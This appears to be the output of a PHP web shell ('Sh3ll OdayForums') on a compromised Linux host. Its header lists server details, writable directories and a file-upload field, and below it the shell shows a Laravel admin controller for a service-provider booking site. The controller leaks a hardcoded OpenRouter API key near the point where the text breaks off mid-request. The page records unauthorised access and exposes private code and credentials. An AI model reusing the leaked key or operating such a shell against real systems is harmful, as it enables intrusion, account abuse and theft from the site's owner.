Sh3ll
OdayForums


Server : Apache
System : Linux 145.162.205.92.host.secureserver.net 5.14.0-611.45.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Wed Apr 1 05:56:53 EDT 2026 x86_64
User : tradze ( 1001)
PHP Version : 8.1.34
Disable Function : NONE
Directory :  /home/tradze/www/app/Modules/Users/Http/Controllers/Admin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/tradze/www/app/Modules/Users/Http/Controllers/Admin/TherapistController.php
<?php

namespace App\Modules\Users\Http\Controllers\Admin;

use App\Http\Controllers\AdminController;
use App\Http\Requests;
use App\Http\Controllers\Controller;
use App\Modules\Services\Models\SalonCategory;
use App\Modules\Postcodes\Models\District;
use App\Modules\Postcodes\Models\Zone;
use App\Modules\Schedules\Models\Schedule;
use App\Modules\Services\Models\ServiceDuration;
use App\Modules\Services\Models\ServiceType;
use App\Modules\Users\Http\Requests\TherapistUpdAreasRequest;
use App\Modules\Users\Http\Requests\TherapistUpdAvatarRequest;
use App\Modules\Users\Http\Requests\TherapistUpdPassRequest;
use App\Modules\Users\Models\UserProfile;
use App\Modules\Users\Http\Requests\TherapistCreateRequest;
use App\Modules\Users\Http\Requests\TherapistUpdInfoRequest;
use App\Modules\Users\Models\ServiceProviderDoc;
use App\Modules\Users\Models\UserServiceDuration;
use App\Modules\Users\Models\UserWorkingDay;
use App\User;
use Spatie\Permission\Models\Role;
use Carbon\Carbon;
use Cmgmyr\Messenger\Models\Thread;
use Illuminate\Http\Request;
use Illuminate\Support\Facades\DB;
use Illuminate\Support\Facades\Storage;
use Illuminate\Support\Facades\Validator;
use Laracasts\Flash\Flash;
use Yajra\Datatables\Datatables;
use Illuminate\Support\Facades\Auth;
use App\Modules\Users\Models\TherapistMyWork;
use App\Modules\Users\Models\UserInternalNote;
use Mail;
use App\StripeSubscription;
use Illuminate\Support\Str;

class TherapistController extends AdminController
{
    /**
     * Display a listing of the resource.
     *
     * @return Response
     */
    public function index(Request $request)
    {
        if ($request->get('search')) {
            $request->session()->put('therapists.site.filters', $request->except(['_token', 'search']));
            return redirect(route('admin.users.providers.index'));
        } elseif ($request->get('reset')) {
            $request->session()->forget('therapists.site.filters');
            return redirect(route('admin.users.providers.index'));
        } //end elseif

        $this->data['page_title'] = trans('users::therapists.page_title');
        $this->data['filters'] = $request->session()->get('therapists.site.filters');
        $this->data['services'] = ServiceType::pluck('name', 'id')->put(0, trans('general.form_select_option'));

        return view('users::admin.therapists_index', $this->data);
    }

    /**
     * Show a list of all companies
     *
     * @return mixed
     */
    public function data(Request $request)
    {
        //create object contact
        $obj = $this->getData($request);
        // dd($request->sort_by);
        //create array with contacts permissions access
        $this->data['can'] = [
            'view'   => $this->data['user']->roles->pluck('slug')[0] == 'developer' || $this->data['user']->roles->pluck('slug')[0] == 'salon',
            'edit'   => $this->data['user']->roles->pluck('slug')[0] == 'developer' || $this->data['user']->roles->pluck('slug')[0] == 'salon',
            'delete' => $this->data['user']->roles->pluck('slug')[0] == 'developer' || $this->data['user']->roles->pluck('slug')[0] == 'salon',
            'featured' => $this->data['user']->roles->pluck('slug')[0] == 'developer',
        ];

        if (Auth::user()->hasRole('salon')) {
            //return datatables data
            return Datatables::of($obj)
                ->editColumn('name', function ($o) {
                    $data['o'] = $o;
                    return view('users::admin.partial_name_with_pic', $data)->render();
                })
                ->addColumn('actions', function ($o) {
                    $this->data['o'] = $o;
                    return view('users::admin.therapists_list_actions', $this->data)->render();
                })
                ->editColumn('id', function ($o) {
                    $data['o'] = $o;
                    return view('users::admin.partial_drag_and_drop_arr', $data)->render();
                })
                ->removeColumn('updated_at')
                // ->setTotalRecords($obj->count())
                ->make(true);
        } else {
            //return datatables data
            return Datatables::of($obj)
                ->editColumn('name', function ($o) {
                    $data['o'] = $o;
                    return view('users::admin.partial_name_with_pic', $data)->render();
                })
                ->editColumn('latest_int_note', function ($o) {
                    $data['o'] = $o;
                    return view('users::admin.partial_internal_notes', $data)->render();
                })
                ->editColumn('is_subscribed', function ($o) {
                    $data['o'] = $o;
                    return view('users::admin.partial_therapist_subscription', $data)->render();
                })
                ->editColumn('is_doc_uploaded', function ($o) {
                    $data['o'] = $o;
                    return view('users::admin.partial_document_status', $data)->render();
                })
                ->editColumn('is_doc_verified', function ($o) {
                    $data['o'] = $o;
                    return view('users::admin.partial_document_verified', $data)->render();
                })
                ->editColumn('status', function ($o) {
                    $data['o'] = $o;
                    return view('users::admin.partial_therapist__deleted_status', $data)->render();
                })
                ->addColumn('actions', function ($o) {
                    $this->data['o'] = $o;
                    return view('users::admin.therapists_list_actions', $this->data)->render();
                })
                ->editColumn('id', function ($o) {
                    $data['o'] = $o;
                    return view('users::admin.partial_drag_and_drop_arr', $data)->render();
                })
                ->rawColumns([
                    'id',
                    'name',
                    'latest_int_note',
                    'is_subscribed',
                    'is_doc_uploaded',
                    'is_doc_verified',
                    'status',
                    'actions'
                ])
                ->removeColumn('updated_at')
                // ->setTotalRecords($obj->count())
                ->make(true);
        }
    }

    /**     
     * Get object entries
     * @param Request $request
     */
    protected function getData($request)
    {
        $filters = $request->session()->get('therapists.site.filters');
        $filters['sort_by'] = $request->get('sort_by');
        $sortBy = $filters['sort_by'];

        $group = Role::where('name', 'therapist')->first();

        $latestSub = DB::table('stripe_subscriptions as ss2')
            ->select('ss2.user_id', 'ss2.expire_date')
            ->whereRaw('ss2.id = (SELECT MAX(id) FROM stripe_subscriptions WHERE user_id = ss2.user_id)');

        $query = User::query()
            ->whereHas('roles', function ($q) {
                $q->where('slug', 'therapist');
            }) // join only latest subscription using max(id)
            ->leftJoin(DB::raw('(' . $latestSub->toSql() . ') as ss'), 'users.id', '=', 'ss.user_id')
            ->mergeBindings($latestSub) // important in Laravel 5
            ->select('users.*', 'ss.expire_date');

        if (Auth::user()->hasRole('salon')) {
            $query->where('salon_id', Auth::user()->id);
        } else {
            if ($sortBy != 'deactivated_accounts' || $sortBy == null || $sortBy == 'all' || $sortBy == '') {
                $query->where('salon_id', null)->whereNull('deleted_at');
            }
            $query->where('salon_id', null)->withTrashed();
        }

        if (isset($filters['search_name'])) {
            $query->OfName(trim($filters['search_name']));
        }

        if (!empty($filters['search_phone'])) {
            $searchPhone = ltrim(trim($filters['search_phone']), '0');
            $query->OfPhone($searchPhone);
        }

        if (!empty($request->service_id)) {
            $serviceTypeIds = $request->service_id ?? []; // array of selected service IDs

            if (!empty($serviceTypeIds)) {
                $query->whereHas('servicetypes', function ($q) use ($serviceTypeIds) {
                    $q->whereIn('services_types.id', $serviceTypeIds); // Eloquent resolves id to services_types.id
                });
            }
        }


        if (empty($sortBy) || $sortBy === 'all') {
            $query->orderByRaw("
                CASE
                    WHEN ss.expire_date IS NOT NULL 
                    AND ss.expire_date > NOW()
                    THEN 2
                    ELSE 1
                END DESC
            ");
        } elseif ($sortBy === 'active_verified_subscription') {

            $today = Carbon::now();

            // Active subscription
            $query->whereHas('stripeSubscription', function ($q) use ($today) {
                $q->where('expire_date', '>', $today);
            })

                // No expired LEGAL documents
                ->whereDoesntHave('userDoc', function ($q) use ($today) {
                    $q->where('is_legal_doc', 1)
                        ->whereNotNull('expire_date')
                        ->where('expire_date', '<', $today);
                })

                // No unapproved LEGAL documents
                // ->whereDoesntHave('userDoc', function ($q) {
                //     $q->where('is_legal_doc', 1)
                //         ->where('is_approved', 0);
                // })

                // No unapproved documents
                ->whereDoesntHave('userDoc', function ($q) {
                    $q->where('is_approved', 0);
                })

                // Must have at least one valid LEGAL document
                ->whereHas('userDoc', function ($q) use ($today) {
                    $q->where('is_legal_doc', 1)
                        ->where('is_approved', 1)
                        ->whereNotNull('expire_date')
                        ->where('expire_date', '>=', $today);
                });
        } elseif ($sortBy === 'subscription') {

            $today = Carbon::now()->toDateString();

            $query->whereHas('stripeSubscription', function ($q) use ($today) {
                $q->where('expire_date', '>', $today);
            })

                ->where(function ($q) use ($today) {

                    // 1. No documents uploaded
                    $q->whereDoesntHave('userDoc');

                    // 2. OR any expired document
                    // ->orWhereHas('userDoc', function ($q) use ($today) {
                    //     $q->whereNotNull('expire_date')
                    //         ->whereDate('expire_date', '<', $today);
                    // })

                    // 3. OR any unapproved document
                    // ->orWhereHas('userDoc', function ($q) {
                    //     $q->where('is_approved', 0);
                    // })

                    // 4. OR no valid approved legal document
                    // ->orWhere(function ($q) use ($today) {
                    //     $q->whereDoesntHave('userDoc', function ($q) use ($today) {
                    //         $q->where('is_legal_doc', 1)
                    //             ->where('is_approved', 1)
                    //             ->whereNotNull('expire_date')
                    //             ->whereDate('expire_date', '>=', $today);
                    //     });
                    // });
                });
        } elseif ($sortBy === 'no_subscription') {

            $today = Carbon::now();

            $query->where(function ($q) use ($today) {
                $q->whereNull('ss.expire_date') // users with no subscription
                    ->orWhere('ss.expire_date', '<=', $today); // users whose latest subscription expired
            });
        } elseif ($sortBy === 'service_documents') {

            $query->whereHas('userDoc', function ($q) {});
        } elseif ($sortBy == "document_verified") {

            $query->whereHas('userDoc', function ($q) {
                $q->whereNotNull('expire_date')
                    ->where('expire_date', '>', Carbon::now())
                    ->where('is_approved', 1)
                    ->where('is_legal_doc', 1);
            });
        } elseif ($sortBy == "unverified_service_documents") {

            $today = Carbon::now()->toDateString();

            $query->whereHas('stripeSubscription', function ($q) use ($today) {
                $q->where('expire_date', '>', $today);
            })

                // Only users who have uploaded at least one document
                ->whereHas('userDoc', function ($q) {
                    // empty closure: just checking existence
                })

                // Users who are NOT verified
                ->where(function ($q) use ($today) {

                    // 1. Any expired document
                    $q->orwhereHas('userDoc', function ($q) use ($today) {
                        $q->whereNotNull('expire_date')
                            ->whereDate('expire_date', '<', $today);
                    })

                        // 2. Any unapproved document
                        ->orWhereHas('userDoc', function ($q) {
                            $q->where('is_approved', 0);
                        })

                        // 3. No valid approved legal document
                        ->orWhere(function ($q) use ($today) {
                            $q->whereDoesntHave('userDoc', function ($q) use ($today) {
                                $q->where('is_legal_doc', 1)
                                    ->where('is_approved', 1)
                                    ->whereNotNull('expire_date')
                                    ->whereDate('expire_date', '>=', $today);
                            });
                        });
                });
        } elseif ($sortBy == "expired_documents") {
            $query->whereHas('userDoc', function ($q) {
                $q->whereDate('expire_date', '<=', Carbon::today());
            });
        } elseif ($sortBy == "deactivated_accounts") {
            $query->onlyTrashed();
        }

        $query->orderBy('nr_crt', 'asc')
            ->orderBy('users.created_at', 'desc');

        return $query;
    }

    /**
     * Show the form for creating a new resource. 
     *
     * @return Response
     */
    public function create()
    {
        $zone = new Zone();

        $this->data['page_title'] = trans('users::therapists.page_title');
        if (Auth::user()->hasRole('salon')) {
            $this->data['form']['services'] = SalonCategory::where('salon_categories.user_id', Auth::user()->id)
                ->join('salon_services_duration', 'salon_categories.id', '=', 'salon_services_duration.sub_category_id')
                ->selectRaw('salon_categories.id, CONCAT(salon_categories.name, " - ", salon_services_duration.duration, "MINS") as category_duration')
                ->pluck('category_duration', 'salon_categories.id')
                ->prepend(trans('general.form_select_option'), 0);
            // $this->data['form']['services'] = SalonCategory::where('user_id',Auth::user()->id)->pluck('name', 'id')->put(0, trans('general.form_select_option'));
        } else {
            $this->data['form']['services'] = ServiceType::pluck('name', 'id')->put(0, trans('general.form_select_option'));
        }
        $this->data['form']['zones'] = $zone->formList();
        $this->data['form']['districts'] = District::orderBy('name', 'asc')->pluck('name', 'id');
        $this->data['form']['workingdays'] = Schedule::all();
        $this->data['form']['transport_modes'] = trans("users::therapists.transport_modes_opt");
        $this->data['form']['massage_table_status'] = false;

        //show page
        return view('users::admin.therapists_create', $this->data);
    }

    /**
     * Store a newly created resource in storage.
     *
     * @return Response
     */
    public function store(TherapistCreateRequest $request)
    {
        // dd($request->all());
        //start transaction
        DB::beginTransaction();
        $data = [
            'name' => $request->first_name . ' ' . $request->last_name,
            'email' => $request->email,
            'password' => $request->password,
            'payment_method' => $request->payment_method,
            'instagram_id' => !empty($request->instagram_id) ? $request->instagram_id : '',
            'facebook_id' => !empty($request->facebook_id) ? $request->facebook_id : '',
            'tictok_id' => !empty($request->tictok_id) ? $request->tictok_id : '',
            'youtube_id' => !empty($request->youtube_id) ? $request->youtube_id : '',
            'website_url' => !empty($request->website_url) ? $request->website_url : '',
        ];
        if (Auth::user()->hasRole('salon')) {
            $user = User::create([
                'name' => $data['name'],
                'email' => $data['email'],
                'password' => bcrypt($data['password']),
                'api_token' => Str::random(60),
                'salon_id' => Auth::user()->id
            ]);
        } else {
            $user = User::create([
                'name' => $data['name'],
                'email' => $data['email'],
                'password' => bcrypt($data['password']),
                'payment_method' => $data['payment_method'],
                'instagram_id' => $data['instagram_id'],
                'facebook_id' => $data['facebook_id'],
                'tictok_id' => $data['tictok_id'],
                'youtube_id' => $data['youtube_id'],
                'api_token' => Str::random(60),
            ]);
        }
        //assign to a ditrict if is not provided
        if ((int)$request->district_id > 0) {
            $district_id = $request->district_id;
        } else {
            $district = District::first();
            $district_id = $district->id;
        }

        //create user profile
        $profile = UserProfile::create([
            'first_name' => $request->first_name,
            'last_name' => $request->last_name,
            'mobile_number' => $request->mobile_number,
            'website_url' => !empty($request->website_url) ? $request->website_url : '',
            'about' => $request->about,
            'user_id' => $user->id,
            'district_id' => $district_id,
            'transport_mode' => $request->transport_mode,
            'massage_table_status' => $request->massage_table_status,
        ]);

        if (Auth::user()->hasRole('salon')) {
            //save Salon services types to user (user techniques)
            $user->salonservicetypes()->sync((array) $request->service_id);
        } else {
            //save services types to user (user techniques)
            $user->servicetypes()->sync((array) $request->service_id);
        }

        //save coverage areas
        $user->zones()->sync($request->zone_id);

        //save therapist working days schedule
        foreach ($request->dayname as $key => $dayname) {
            $day_data = [
                'user_id'   => $user->id,
                'name'      => $dayname,
                'weekday'   => $key,
                'dayoff'    => (int)@$request->dayoff[$key],
                'bo_start'  => Carbon::createFromFormat('h:i A', $request->bo_start[$key])->format('H:i'),
                'bo_end'  => Carbon::createFromFormat('h:i A', $request->bo_end[$key])->format('H:i'),
            ];
            UserWorkingDay::create($day_data);
        } //endforeach

        //get therapist role
        $role = Role::where('slug', 'therapist')->first();

        //attach role
        if ($role)
            // $role_status = $user->roles($role);
            $role_status = $user->assignRole($role);

        if ($user && $profile) {

            //commit transaction
            DB::commit();

            //redirect
            return redirect(route('admin.users.providers.index'));
            // if ($request->save)
            //     return redirect(route('admin.users.providers.show', ['id' => $obj->id]));
            // elseif ($request->save_exit)
            //     return redirect(route('admin.users.providers.index'));
        } else {
            //rollback
            DB::rollback();
            return redirect(route('admin.users.providers.create'))->withInput();
        } //end elseif

    }

    /**
     * Edit Service Type
     *
     * @param $label
     * @return \BladeView|bool|\Illuminate\Contracts\View\Factory|\Illuminate\View\View
     */
    public function edit($obj)
    {
        $user = User::with([
            'profile',
            'userDoc',
            'memberships',
            'servicetypes',
            'salonservicetypes',
            'zones',
            'workingdays',
            'roles'
        ])->findOrFail($obj);

        $user->id = $user->id;
        $user->first_name = $user->profile->first_name ?? null;
        $user->last_name = $user->profile->last_name ?? null;
        $user->mobile_number = $user->profile->mobile_number ?? null;
        $user->website_url = $user->profile->website_url ?? null;
        $user->show_mobile_number = $user->profile->show_mobile_number ?? null;
        $user->about = $user->profile->about ?? null;
        $user->role = $user->roles->pluck('name')->first();
        $user->zone_id = $user->zones;

        $user->trade_lat = $user->profile->trade_lat ?? null;
        $user->trade_long = $user->profile->trade_long ?? null;
        $user->trade_address = $user->profile->trade_address ?? null;

        $user->business_name = $user->profile->business_name ?? null;
        $user->business_type = $user->profile->business_type ?? null;
        $user->utr_number = $user->profile->utr_number ?? null;
        $user->vat_number = $user->profile->vat_number ?? null;
        $user->registration_no = $user->profile->registration_no ?? null;

        /** -------------------------------
         * Saved services
         * --------------------------------
         */
        $saved_services = [];

        if (Auth::user()->hasRole('salon')) {
            foreach ($user->salonservicetypes as $serv) {
                if (is_numeric($serv->id)) {
                    $saved_services[] = (int) $serv->id;
                }
            }
        } else {
            foreach ($user->servicetypes as $serv) {
                if (is_numeric($serv->id)) {
                    $saved_services[] = (int) $serv->id;
                }
            }
        }

        /** -------------------------------
         * Saved zones
         * --------------------------------
         */
        $saved_zones = [];
        foreach ($user->zones as $zone) {
            if (is_numeric($zone->id)) {
                $saved_zones[] = (int) $zone->id;
            }
        }

        $zone = new Zone();

        $default_wd = Schedule::all();
        foreach ($default_wd as $day) {
            $day->dayoff = !$day->open;
        }

        if ($user->salon_id) {
            $this->data['salon_id'] = $user->salon_id;
        }

        $this->data['page_title'] = trans('users::therapists.page_title');
        $this->data['obj'] = $user;

        /** -------------------------------
         * Services dropdown
         * --------------------------------
         */
        if (Auth::user()->hasRole('salon')) {
            $this->data['form']['services'] =
                SalonCategory::where('salon_categories.user_id', Auth::user()->id)
                ->join(
                    'salon_services_duration',
                    'salon_categories.id',
                    '=',
                    'salon_services_duration.sub_category_id'
                )
                ->selectRaw(
                    'salon_categories.id,
                     CONCAT(salon_categories.name, " - ", salon_services_duration.duration, "MINS")
                     as category_duration'
                )
                ->pluck('category_duration', 'salon_categories.id')
                ->prepend(trans('general.form_select_option'), 0);
        } else {
            $this->data['form']['services'] =
                ServiceType::pluck('name', 'id')
                ->prepend(trans('general.form_select_option'), 0);
        }

        $this->data['form']['saved_gallery'] = $this->get_my_work($user);
        /** -------------------------------
         * Form data
         * --------------------------------
         */
        $this->data['form']['userId'] = $user->id;
        $this->data['form']['saved_services'] = $saved_services;
        $this->data['form']['zones'] = $zone->formList();
        $this->data['form']['saved_zones'] = $user->saved_zones;
        $this->data['form']['districts'] = District::orderBy('name')->pluck('name', 'id');
        $this->data['form']['workingdays'] =
            $user->workingdays->count() ? $user->workingdays : collect($default_wd);

        $this->data['form']['transport_modes'] = trans("users::therapists.transport_modes_opt");
        $this->data['form']['massage_table_status'] = $user->has_massage_table;
        $this->data['form']['show_email'] = $user->show_email;
        $this->data['form']['show_mobile_number'] = $user->profile_show_mobile_number;

        $this->data['form']['home_lat'] = $user->home_lat;
        $this->data['form']['home_long'] = $user->home_long;
        $this->data['form']['home_address'] = $user->home_address;

        $this->data['form']['trade_lat'] = $user->trade_lat;
        $this->data['form']['trade_long'] = $user->trade_long;
        $this->data['form']['trade_address'] = $user->trade_address;

        $this->data['form']['business_name'] = $user->business_name;
        $this->data['form']['business_type'] = $user->business_type;
        $this->data['form']['utr_number'] = $user->utr_number;
        $this->data['form']['vat_number'] = $user->vat_number;
        $this->data['form']['registration_no'] = $user->registration_no;

        $this->data['form']['user_docs'] = $user->userDoc;
        $this->data['form']['memberships'] = $user->memberships;

        return view('users::admin.therapists_edit', $this->data);
    }

    /**
     * Build services duration commissions array for a therapist.
     *
     * @param  \App\User  $user
     * @param  array      $saved_services
     * @return array
     */
    protected function buildServicesDurationCommissions($user, array $saved_services)
    {
        $services_duration_commisions = [];
        $include_massage = false;

        foreach ($user->servicetypes as $service) {
            if (!empty($service->is_massage) && $service->is_massage == 1) {
                $include_massage = true;
                break;
            }
        }

        // Batch load ServiceDurations to avoid N+1 (one query instead of one per commission)
        $durationIds = $user->services_commisions->keys()->filter()->toArray();
        $durationServices = collect();

        if (!empty($durationIds)) {
            $durationServices = ServiceDuration::with(['subcategory.parentcategory'])
                ->whereIn('id', $durationIds)
                ->get()
                ->keyBy('id');
        }

        foreach ($user->services_commisions as $key => $service) {
            $duration_service = $durationServices->get($key);

            $service['category_name'] = '-';
            $service['subcategory_name'] = '-';

            if ($duration_service && $duration_service->subcategory) {
                if ($duration_service->subcategory->parentcategory) {
                    $service['category_name'] =
                        $duration_service->subcategory->parentcategory->name;
                }
                $service['subcategory_name'] =
                    $duration_service->subcategory->name;
            }

            if ($include_massage && $duration_service && $duration_service->is_massage_duration == 1) {
                $services_duration_commisions[$key] = $service;
            } else {
                if (
                    $duration_service &&
                    in_array($duration_service->sub_category_id, $saved_services)
                ) {
                    $services_duration_commisions[$key] = $service;
                }
            }
        }

        return $services_duration_commisions;
    }

    /**
     * Load commissions tab content via AJAX.
     *
     * @param  int  $id
     * @return \Illuminate\Contracts\View\Factory|\Illuminate\View\View
     */
    public function commissionsTab($id)
    {
        $user = User::with([
            'servicetypes',
            'salonservicetypes',
        ])->findOrFail($id);

        // Saved services (same logic as in edit)
        $saved_services = [];

        if (Auth::user()->hasRole('salon')) {
            foreach ($user->salonservicetypes as $serv) {
                if (is_numeric($serv->id)) {
                    $saved_services[] = (int) $serv->id;
                }
            }
        } else {
            foreach ($user->servicetypes as $serv) {
                if (is_numeric($serv->id)) {
                    $saved_services[] = (int) $serv->id;
                }
            }
        }

        $form = [];
        $form['services_duration_commisions'] = $this->buildServicesDurationCommissions($user, $saved_services);

        return view('users::admin.partials.therapists_commissions_tab', [
            'obj' => $user,
            'form' => $form,
        ]);
    }

    /**
     *
     * Update the document
     */
    public function updateExpiry(Request $request, $id)
    {
        try {
            $expiry_date = $request->expire_date;
            $user_id = $request->user_id;
            $serviceProvideDoc = ServiceProviderDoc::find($id);
            $serviceProvideDoc->expire_date = $expiry_date;
            if ($serviceProvideDoc->save()) {
                return redirect(route('admin.users.providers.edit', $user_id) . "#tab_1_7");
            } else {
                return redirect(route('admin.users.providers.index'));
            }
        } catch (\Throwable $th) {
            return redirect(route('admin.users.providers.index'));
        }
    }

    /**
     *
     * Update the document
     */
    public function updateStart(Request $request, $id)
    {
        try {
            $start_date = $request->start_date;
            $user_id = $request->user_id;
            $serviceProvideDoc = ServiceProviderDoc::find($id);
            $serviceProvideDoc->start_date = $start_date;
            if ($serviceProvideDoc->save()) {
                return redirect(route('admin.users.providers.edit', $user_id) . "#tab_1_7");
            } else {
                return redirect(route('admin.users.providers.index'));
            }
        } catch (\Throwable $th) {
            return redirect(route('admin.users.providers.index'));
        }
    }

    public function updateStatus(Request $request, $id, $is_approved)
    {
        try {
            $serviceProvideDoc = ServiceProviderDoc::find($id);
            $serviceProvideDoc->is_approved = $is_approved;

            if ($serviceProvideDoc->save()) {
                return redirect(route('admin.users.providers.edit', $serviceProvideDoc->user_id) . "#tab_1_7");
            } else {
                return redirect(route('admin.users.providers.index'));
            }
        } catch (\Throwable $th) {
            return redirect(route('admin.users.providers.index'));
        }
    }

    public function markLegalDoc(Request $request)
    {
        try {
            $docId = $request->input('value');

            // Find the selected document
            $document = ServiceProviderDoc::find($docId);

            if (!$document) {
                return response()->json([
                    'success' => false,
                    'message' => 'Document not found.'
                ], 404);
            }

            // Toggle the state
            $isCurrentlyLegal = $document->is_legal_doc == 1;
            $newState = $isCurrentlyLegal ? 0 : 1;

            // When making it legal, validate first
            if ($newState == 1) {

                if (empty($document->start_date) || empty($document->expire_date)) {
                    return response()->json([
                        'success' => false,
                        'message' => 'Cannot mark as legal document — start or expire date is missing.'
                    ], 422);
                }

                if ($document->is_approved != 1) {
                    return response()->json([
                        'success' => false,
                        'message' => 'Cannot mark as legal document — document is not approved.'
                    ], 422);
                }

                if ($document->is_expired) {
                    return response()->json([
                        'success' => false,
                        'message' => 'Cannot mark as legal document — document is expired.'
                    ], 422);
                }
            }

            // Update only this document, no reset needed
            $document->is_legal_doc = $newState;
            $document->save();

            return response()->json([
                'success' => true,
                'message' => 'Document updated successfully.',
                'isChecked' => $newState == 1,
                'docId' => $docId
            ]);
        } catch (\Throwable $th) {
            return response()->json([
                'success' => false,
                'message' => 'An error occurred: ' . $th->getMessage()
            ], 500);
        }
    }

    // public function uploadDocument(Request $request)
    // {
    //     try {
    //         // dd($request->all()); // Commented to allow normal execution

    //         $user = $request->user_id;

    //         $validator = Validator::make($request->all(), [
    //             'document' => 'required|mimes:pdf,jpeg,jpg,png|max:2048',
    //             // 'start_date' => 'required',
    //             // 'expire_date' => 'required',
    //         ]);

    //         if ($validator->fails()) {
    //             return redirect(route('admin.users.providers.edit', $user) . "#tab_1_7")
    //                 ->withErrors($validator)
    //                 ->withInput();
    //         }

    //         $file = $request->file('document');
    //         $mimeType = $file->getMimeType();

    //         // Determine file type
    //         $fileType = str_contains($mimeType, 'pdf') ? 'PDF' : 'IMAGE';

    //         $fileName = time() . '_' . $file->getClientOriginalName();
    //         $folderName = 'user' . $user;
    //         $destinationPath = public_path('uploads/userdocs/' . $folderName);

    //         if (!file_exists($destinationPath)) {
    //             mkdir($destinationPath, 0755, true);
    //         }

    //         // Check if a record already exists
    //         $document = ServiceProviderDoc::where('user_id', $user)
    //             ->first();

    //         // If exists, delete old file from storage
    //         // if ($document && file_exists(public_path('uploads/userdocs/' . $document->document))) {
    //         //     unlink(public_path('uploads/userdocs/' . $document->document));
    //         // }

    //         // Move new file
    //         $file->move($destinationPath, $fileName);

    //         // Create or update record
    //         if (true) {
    //             $document = new ServiceProviderDoc();
    //             $document->user_id = $user;
    //             $document->file_type = $fileType;
    //         }

    //         $document->doc_type = 'Other';
    //         $document->document = $folderName . '/' . $fileName;
    //         $document->start_date = $request->start_date;
    //         $document->expire_date = $request->expire_date;
    //         $document->is_approved = 0;
    //         $document->save();

    //         return redirect(route('admin.users.providers.edit', $user) . "#tab_1_7")->with('success', 'Document uploaded successfully!');;
    //     } catch (\Throwable $th) {
    //         return redirect(route('admin.users.providers.edit', $user) . "#tab_1_7")
    //             ->with('error', 'Upload failed: ' . $th->getMessage());
    //     }
    // }

    public function uploadDocument(Request $request)
    {
        try {

            $user = $request->user_id;

            $validator = Validator::make($request->all(), [
                'document' => 'required|mimes:pdf,jpeg,jpg,png|max:2048',
            ]);

            if ($validator->fails()) {
                return redirect(route('admin.users.providers.edit', $user) . "#tab_1_7")
                    ->withErrors($validator)
                    ->withInput();
            }

            $file = $request->file('document');
            $mimeType = $file->getMimeType();

            // Laravel 5.2 compatible file type check
            $fileType = (strpos($mimeType, 'pdf') !== false) ? 'PDF' : 'IMAGE';

            // ✅ Generate completely NEW safe filename
            $extension = $file->getClientOriginalExtension();
            $fileName = uniqid('doc_', true) . '.' . $extension;

            $folderName = 'user' . $user;
            $destinationPath = public_path('uploads/userdocs/' . $folderName);

            if (!file_exists($destinationPath)) {
                mkdir($destinationPath, 0755, true);
            }

            // Move file with NEW name
            $file->move($destinationPath, $fileName);

            // Always create new record
            $document = new ServiceProviderDoc();
            $document->user_id = $user;
            $document->file_type = $fileType;
            $document->doc_type = 'Other';
            $document->document = $folderName . '/' . $fileName;
            $document->start_date = $request->start_date;
            $document->expire_date = $request->expire_date;
            $document->is_approved = 0;
            $document->save();

            return redirect(route('admin.users.providers.edit', $user) . "#tab_1_7")
                ->with('success', 'Document uploaded successfully!');
        } catch (\Throwable $th) {
            return redirect(route('admin.users.providers.edit', $user) . "#tab_1_7")
                ->with('error', 'Upload failed: ' . $th->getMessage());
        }
    }

    public function addMembership(Request $request)
    {
        try {
            // dd($request->all()); // Commented to allow normal execution

            $userId = $request->user_id;

            $validator = Validator::make($request->all(), [
                'start_date' => 'required',
                'expire_date' => 'required',
            ]);

            if ($validator->fails()) {
                return redirect(route('admin.users.providers.edit', $userId) . "#tab_1_8")
                    ->withErrors($validator)
                    ->withInput();
            }

            $createSubscription = StripeSubscription::create([
                'user_id' => $userId,
                'price_id' => 'trial_' . $userId,
                'iap_obj' => json_encode([
                    'start_date' => $request->start_date,
                    'expire_date' => $request->expire_date,
                    'subscription_status' => 'active',
                    'membership_type' => 'trial',
                ]),
                'start_date' => $request->start_date,
                'expire_date' => $request->expire_date,
                'subscription_status' => 'active',
                'membership_type' => 'trial',
            ]);

            return redirect(route('admin.users.providers.edit', $userId) . "#tab_1_8")->with('success', 'Added successfully!');;
        } catch (\Throwable $th) {
            return redirect(route('admin.users.providers.edit', $userId) . "#tab_1_8")
                ->with('error', 'Upload failed: ' . $th->getMessage());
        }
    }

    /**
     * Remove document for service provider
     */
    public function removeDoc(Request $request, $id, $userId)
    {
        try {

            $document = ServiceProviderDoc::where('user_id', $userId)
                ->where('id', $id)
                ->first();

            if (!$document) {
                return redirect(route('admin.users.providers.edit', $userId) . "#tab_1_7")
                    ->with('error', 'Document not found');
            }

            // Delete file from storage if it exists
            $filePath = public_path('uploads/userdocs/' . $document->document);
            if (file_exists($filePath)) {
                unlink($filePath);
            }

            // Delete record from database
            $document->delete();

            return redirect(route('admin.users.providers.edit', $userId) . "#tab_1_7")->with('success', 'Document deleted successfully!');;
        } catch (\Throwable $th) {
            return redirect(route('admin.users.providers.edit', $userId) . "#tab_1_7")
                ->with('error', 'Delete failed: ' . $th->getMessage());
        }
    }

    public function generateBioByUserId(Request $request)
    {
        try {
            $userId = $request->userId;
            $user = User::where('id', $userId)
                ->with('profile', 'servicetypes', 'salonservicetypes')
                ->firstOrFail();

            $services = [];

            foreach ($user->servicetypes as $serv) {
                $services[] = isset($serv->name) ? $serv->name : '';
            }

            $userName = $user->profile->first_name;
            $businessName = isset($user->profile->business_name) ? $user->profile->business_name : $userName;
            $businessType = $user->profile->business_type;
            $userServices = implode(', ', $services ?? []);

            if ($businessType === 'ltd_company') {
                $label = $businessName; // company name
                $nature = 'a professional service provider company';
            } else {
                $label = $userName; // individual's name
                $nature = 'a service provider';
            }

            // $prompt = "Write a short and professional bio in UK English for {$label}, who is {$nature} and provides services such as {$userServices} on Tradze. Keep it concise, engaging, and highlight their professionalism.";
            $prompt = "Write a short and professional bio in UK English for {$label}, who is {$nature} and provides services such as {$userServices} on Tradze. Keep it concise, engaging, and highlight their professionalism. i want to directly use in react native input field so do not add any heading or note and don't add any followup questions as well just give me simple 60 word service provider bio that i can use directly in the profile creation also don't include any special character except hyphen comma and fullstop, make it appealing so that i can attract more customers and do not give html response i want plain text. Do not wrap the output in quotes also don't add escape sequences";

            $apiKey = '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';

            $ch = curl_init();
            curl_setopt($ch, CURLOPT_URL, "https://openrouter.ai/api/v1/chat/completions");
            curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
            curl_setopt($ch, CURLOPT_POST, true);
